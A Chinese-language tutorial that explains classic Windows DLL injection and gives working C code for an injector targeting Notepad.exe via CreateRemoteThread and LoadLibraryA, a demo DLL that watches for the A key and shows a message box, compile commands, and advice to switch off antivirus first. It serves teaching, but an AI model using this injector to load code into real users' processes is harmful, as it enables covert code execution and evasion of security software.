概念介绍
DLL 注入攻击(DLL
Injection)是一种将动态链接库(DLL)强制加载到目标进程中的技术,使得攻击者编写的代码能在目标进程的地址空间中运行。
在 Windows 中,DLL
注入是系统提供的合法功能,主要用于调试器和辅助工具,但也可以被用于攻击,不过这种攻击手段是非常明显且初等的,一般的防护软件都会阻止这种行为。
简易实现
可以使用最经典的 CreateRemoteThread + LoadLibraryA 方法实现 DLL
注入攻击,下面是主要的代码思路。
代码参考:idea4good/AbuCoding
Loader
目标是让目标进程(这里以记事本Notepad.exe
为例)加载提供的
DLL,实现步骤:
查找并获取目标进程句柄 :使用
CreateToolhelp32Snapshot
遍历系统进程列表;调用
OpenProcess(PROCESS_ALL_ACCESS, ...)
在目标进程分配内存并写入 DLL
路径 :VirtualAllocEx
为 DLL
路径字符串留空间;WriteProcessMemory
将 DLL
路径写到目标进程
获取 LoadLibraryA
地址 :GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA")
创建远程线程并执行
LoadLibraryA :CreateRemoteThread
执行
LoadLibraryA,从而加载 DLL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <Windows.h> #include <stdio.h> #include <tlhelp32.h> HANDLE searchProcess (PCHAR ProcessName) { PROCESSENTRY32 pe = {.dwSize = sizeof (PROCESSENTRY32)}; HANDLE hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (Process32First (hSnapshot, &pe)) { do { if (strcmp (pe.szExeFile, ProcessName) == 0 ) { printf ("%s has been opened\n" , pe.szExeFile); return OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); } } while (Process32Next (hSnapshot, &pe)); } CloseHandle (hSnapshot); return NULL ; } char DllPath[MAX_PATH];int main () { HANDLE hProcess = searchProcess ("Notepad.exe" ); GetCurrentDirectoryA (MAX_PATH, DllPath); strcat (DllPath, "\\dll.dll" ); LPVOID remoteMemory = VirtualAllocEx (hProcess, 0 , strlen (DllPath) + 1 , MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory (hProcess, remoteMemory, (LPVOID)DllPath, strlen (DllPath) + 1 , 0 ); LPTHREAD_START_ROUTINE remoteTask = (LPTHREAD_START_ROUTINE)GetProcAddress ( GetModuleHandleA ("Kernel32.dll" ), "LoadLibraryA" ); HANDLE hLoadThread = CreateRemoteThread (hProcess, 0 , 0 , remoteTask, remoteMemory, 0 , 0 ); }
DLL
为了验证 DLL 注入是否成功,DLL
的行为很简单:创建一个可以观察到具体行为的新线程, 每隔 100ms
检测是否按下键盘 A
键,如果检测到,调用
MessageBoxA
弹窗提示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <windows.h> DWORD WINAPI task (LPVOID param) { while (TRUE) { if (GetAsyncKeyState ('A' ) & 0x8000 ) { MessageBoxA (NULL , "key A detected" , "Info from DLL" , MB_OK); } Sleep (100 ); } } BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { CreateThread (0 , 0 , task, hModule, 0 , 0 ); } return TRUE; }
编译运行
编译命令如下: 1 2 cl /LD dll.c user32.lib cl loader.c user32.lib
必须关闭防护软件,否则 loader.c
编译生成的可执行程序可能被直接删除。
运行过程如下:
运行记事本 Notepad.exe
运行注入器 loader.exe
在记事本中按下 A
键,观察到出现弹窗